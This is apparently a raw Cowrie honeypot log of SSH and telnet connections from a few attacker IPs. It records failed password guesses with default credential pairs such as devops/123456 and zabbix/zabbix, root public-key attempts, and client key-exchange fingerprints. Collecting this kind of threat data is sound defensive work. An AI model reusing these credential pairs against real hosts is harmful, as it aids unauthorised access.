{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:19.451828Z","src_ip":"83.168.110.85","session":"29d52c902615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:19.977099Z","src_ip":"83.168.110.85","session":"29d52c902615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:21.259715Z","src_ip":"83.168.110.85","session":"29d52c902615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35260,"dst_ip":"10.17.0.5","dst_port":22,"session":"783ba9944580","protocol":"ssh","message":"New connection: 83.168.110.85:35260 (10.17.0.5:22) [session: 783ba9944580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:26.225775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:26.231735Z","src_ip":"83.168.110.85","session":"783ba9944580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:26.354643Z","src_ip":"83.168.110.85","session":"783ba9944580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:26.723226Z","src_ip":"83.168.110.85","session":"783ba9944580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:27.850120Z","src_ip":"83.168.110.85","session":"783ba9944580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35270,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7122d7aa625","protocol":"ssh","message":"New connection: 83.168.110.85:35270 (10.17.0.5:22) [session: f7122d7aa625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.079784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.133395Z","src_ip":"83.168.110.85","session":"f7122d7aa625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.386583Z","src_ip":"83.168.110.85","session":"f7122d7aa625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.837322Z","src_ip":"83.168.110.85","session":"f7122d7aa625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.161","src_port":39630,"dst_ip":"10.17.0.5","dst_port":22,"session":"469ff0892318","protocol":"ssh","message":"New connection: 208.87.242.161:39630 (10.17.0.5:22) [session: 469ff0892318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.901316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:33.906501Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:34.152428Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:34.964396Z","src_ip":"83.168.110.85","session":"f7122d7aa625","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:1e:cb:05:df:bb:81:fd:16:d4:64:38:21:7c:44:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQinDOSgzw0W5a63riXWK2XlVzFugZKDH0FOOlkMXDMshGKCQ4G88L7Lh+GjPdRfk3XXztOrQn6EpOtGaazL8joc83X1SrrGelr1LzszPgPPvcG6DehoxOUhpdSR2SRXS2gUR72G6jUiKEP26/BvPd+iNH5vIdGbJ1Ctb8fyAqbfKklyBxzOh6JL5a5PsgZPwB+73qce/WMvLn9sbxRtsXls8fbV9io/N6+vZ+l/+4Qt5xj91/3Pok9LZktj1tMqHjOIJlAppyp3MY5r/PpouZedigBJaiayp89zBWqSpqBaB+o2laQDRga1/9Tt8eY/+Fb4bH5Y15F8742RTNgHIN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:1e:cb:05:df:bb:81:fd:16:d4:64:38:21:7c:44:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.259835Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:1e:cb:05:df:bb:81:fd:16:d4:64:38:21:7c:44:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQinDOSgzw0W5a63riXWK2XlVzFugZKDH0FOOlkMXDMshGKCQ4G88L7Lh+GjPdRfk3XXztOrQn6EpOtGaazL8joc83X1SrrGelr1LzszPgPPvcG6DehoxOUhpdSR2SRXS2gUR72G6jUiKEP26/BvPd+iNH5vIdGbJ1Ctb8fyAqbfKklyBxzOh6JL5a5PsgZPwB+73qce/WMvLn9sbxRtsXls8fbV9io/N6+vZ+l/+4Qt5xj91/3Pok9LZktj1tMqHjOIJlAppyp3MY5r/PpouZedigBJaiayp89zBWqSpqBaB+o2laQDRga1/9Tt8eY/+Fb4bH5Y15F8742RTNgHIN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.263787Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:54:28:c6:13:16:ea:5e:1b:00:63:22:85:d1:c1:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIRQoOuJnnvXwwpPh9DkLIcw+iOuE+a3FnqdYXl0Ubx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 02:54:28:c6:13:16:ea:5e:1b:00:63:22:85:d1:c1:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.485349Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:54:28:c6:13:16:ea:5e:1b:00:63:22:85:d1:c1:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKIRQoOuJnnvXwwpPh9DkLIcw+iOuE+a3FnqdYXl0Ubx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.489308Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:17:a3:d2:21:06:06:f0:50:7c:a0:c6:89:ea:26:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMb05xw1I550edSQ4mYI6nx75ESn7FZey9q1Jkjmxy8fN3vFVmI6unjgGCvWt+tEoPbexD211/U5lmeU0Q6WgZFt5LvKrqp7YN5NM3SqzsL8QfYISEKrwDFtmyAVN+7z9GCw/V6xyO0t4Ibqjaon4b+2cnAeEPCN8TNct5GVipO+SBBSaRgefUeves+ZGGMdRW4mpyuLVBD7SyHOyEl+vCS9jjRwFqWzrVkNWIkH8PnbVFaBtnIsChMF2yiRifISm6mnY4FzxU0XjQLUPP0SkS0Ju2UdeIwgXY4Novw+0m23PLaxPuHellHjeSck3LCXQSiGfzTuS+q81Kc19KfIhrLPPj67vByBNn1GhwTzSpFJEkXtx5ZahqaFtIA1iJRI4XCuK8ppQb1ADizyXCLL0H4mDEtCphrBPgt34rj0pu80PAolJnruvxb5/wG/L/1LUItjoXGbLQkfkidwGLc8BDRt5TUuDRVSijNAYfgYdfyhi79z0GNwzgVS2hPcczKXsifvu5G/b4sHKEYsobcQ6w6tfUB3SnaXVI3ckKmbPVY2nxL17E+DNs4i+GuHoJSA/ARkj1DOktF8HImzhYX+nZ0NRNPlVlxx3hsKXkYa5Yxj9B1V9t9+nWwer/3kdBY/VBUvsDvUWdsw/omSAZ51L/2+Do1+DyeqNLpxNO8MOVYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:17:a3:d2:21:06:06:f0:50:7c:a0:c6:89:ea:26:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.719217Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:17:a3:d2:21:06:06:f0:50:7c:a0:c6:89:ea:26:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMb05xw1I550edSQ4mYI6nx75ESn7FZey9q1Jkjmxy8fN3vFVmI6unjgGCvWt+tEoPbexD211/U5lmeU0Q6WgZFt5LvKrqp7YN5NM3SqzsL8QfYISEKrwDFtmyAVN+7z9GCw/V6xyO0t4Ibqjaon4b+2cnAeEPCN8TNct5GVipO+SBBSaRgefUeves+ZGGMdRW4mpyuLVBD7SyHOyEl+vCS9jjRwFqWzrVkNWIkH8PnbVFaBtnIsChMF2yiRifISm6mnY4FzxU0XjQLUPP0SkS0Ju2UdeIwgXY4Novw+0m23PLaxPuHellHjeSck3LCXQSiGfzTuS+q81Kc19KfIhrLPPj67vByBNn1GhwTzSpFJEkXtx5ZahqaFtIA1iJRI4XCuK8ppQb1ADizyXCLL0H4mDEtCphrBPgt34rj0pu80PAolJnruvxb5/wG/L/1LUItjoXGbLQkfkidwGLc8BDRt5TUuDRVSijNAYfgYdfyhi79z0GNwzgVS2hPcczKXsifvu5G/b4sHKEYsobcQ6w6tfUB3SnaXVI3ckKmbPVY2nxL17E+DNs4i+GuHoJSA/ARkj1DOktF8HImzhYX+nZ0NRNPlVlxx3hsKXkYa5Yxj9B1V9t9+nWwer/3kdBY/VBUvsDvUWdsw/omSAZ51L/2+Do1+DyeqNLpxNO8MOVYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.730384Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:30:67:21:a9:c6:82:ca:8d:55:09:a4:5c:29:5b:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/9y8tj+Z+HWgb4IDpBEbjokFhVD2HENFtvIdCWiM3cDH/tcaqBFlvGAKD4ygpFsgzrb0nyGzciUjYGxBsO6OK7IlMFZpAFOUJYqg7XZDXsjhQVtLGOh5nxXll8N/PA7OT2iDznkJspYEJx9Kt/GWij8mG5/O9cJhdgXHBKKi74AqAkpap55AYCLJUZ4Crp/0abkUldSgdqjMDNEdBgHMdydVF6UHWWxB3P7IedatYeG8lyGYlaoRj+SqqayuIujUL902vkHYa3K4rscLcos1XpMgB4aPUGANbISsuCv4EH5P2uFGrzNwa+DM9s7lOAJSMNaPSYE/+3EqqV0k6Lgn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:30:67:21:a9:c6:82:ca:8d:55:09:a4:5c:29:5b:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.960334Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:30:67:21:a9:c6:82:ca:8d:55:09:a4:5c:29:5b:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/9y8tj+Z+HWgb4IDpBEbjokFhVD2HENFtvIdCWiM3cDH/tcaqBFlvGAKD4ygpFsgzrb0nyGzciUjYGxBsO6OK7IlMFZpAFOUJYqg7XZDXsjhQVtLGOh5nxXll8N/PA7OT2iDznkJspYEJx9Kt/GWij8mG5/O9cJhdgXHBKKi74AqAkpap55AYCLJUZ4Crp/0abkUldSgdqjMDNEdBgHMdydVF6UHWWxB3P7IedatYeG8lyGYlaoRj+SqqayuIujUL902vkHYa3K4rscLcos1XpMgB4aPUGANbISsuCv4EH5P2uFGrzNwa+DM9s7lOAJSMNaPSYE/+3EqqV0k6Lgn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:35.964448Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:43:fc:92:07:4e:5a:2d:c4:ea:2e:f6:b3:d9:22:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxazY3IcKUuQaYIQD5hYutui2k2tERvmNFJTx8X22TZgNKxRM8ulJjRJTeZ/y9rYlVz5hFQj1h7uhen4jWA6Q4wXQaHeRQFzoG6u6+1K0ooeoBM2sdeHqKhg97Cs2PnI89B114KwQKxGTUdPduCJEoUfc9l7FoulLcoX7PN0RR+gPPWuWI9uHgDl3WDXsjZNqfDM8VSWtvrHV/7ZcBYAFNqwOE6fMKvyND0mMqUJd6xN8ArY/Z9VfaFZwPSBPrwoUVsf+02ArCcpbFq5ZmdY2gceCwmL3T/7MUFsBUYL0wAHC8W5Td2lFl7uFFzAvK0ybg+oBrkv1INv8ZIH4AXAUAP1urCEwGx9wlLBK2H3QSvvwfhi4kXUNWia/gBPr1I+JnErul0VUVpbWk0kQ4Ttyl2uiTBJkjn3B8cxgbM7cBo0ciEeLnY7UEXZ8erq84+RyvCHd+oO7f8jY6qiiwUZrdsRK0GT5M74M6cql711yd0ezSZzkt1XkfyLUmEfJmW/s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:43:fc:92:07:4e:5a:2d:c4:ea:2e:f6:b3:d9:22:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:36.189010Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:43:fc:92:07:4e:5a:2d:c4:ea:2e:f6:b3:d9:22:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxazY3IcKUuQaYIQD5hYutui2k2tERvmNFJTx8X22TZgNKxRM8ulJjRJTeZ/y9rYlVz5hFQj1h7uhen4jWA6Q4wXQaHeRQFzoG6u6+1K0ooeoBM2sdeHqKhg97Cs2PnI89B114KwQKxGTUdPduCJEoUfc9l7FoulLcoX7PN0RR+gPPWuWI9uHgDl3WDXsjZNqfDM8VSWtvrHV/7ZcBYAFNqwOE6fMKvyND0mMqUJd6xN8ArY/Z9VfaFZwPSBPrwoUVsf+02ArCcpbFq5ZmdY2gceCwmL3T/7MUFsBUYL0wAHC8W5Td2lFl7uFFzAvK0ybg+oBrkv1INv8ZIH4AXAUAP1urCEwGx9wlLBK2H3QSvvwfhi4kXUNWia/gBPr1I+JnErul0VUVpbWk0kQ4Ttyl2uiTBJkjn3B8cxgbM7cBo0ciEeLnY7UEXZ8erq84+RyvCHd+oO7f8jY6qiiwUZrdsRK0GT5M74M6cql711yd0ezSZzkt1XkfyLUmEfJmW/s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:36.193406Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:36.404370Z","src_ip":"208.87.242.161","session":"469ff0892318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58734,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7029b976a4","protocol":"ssh","message":"New connection: 83.168.110.85:58734 (10.17.0.5:22) [session: ed7029b976a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:40.592673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:40.597279Z","src_ip":"83.168.110.85","session":"ed7029b976a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:40.717945Z","src_ip":"83.168.110.85","session":"ed7029b976a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca592d5b97f5","protocol":"telnet","message":"New connection: 152.42.224.71:34496 (10.17.0.5:23) [session: ca592d5b97f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:40.853597Z"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:30:41.090890Z","src_ip":"83.168.110.85","session":"ed7029b976a4","protocol":"ssh"}
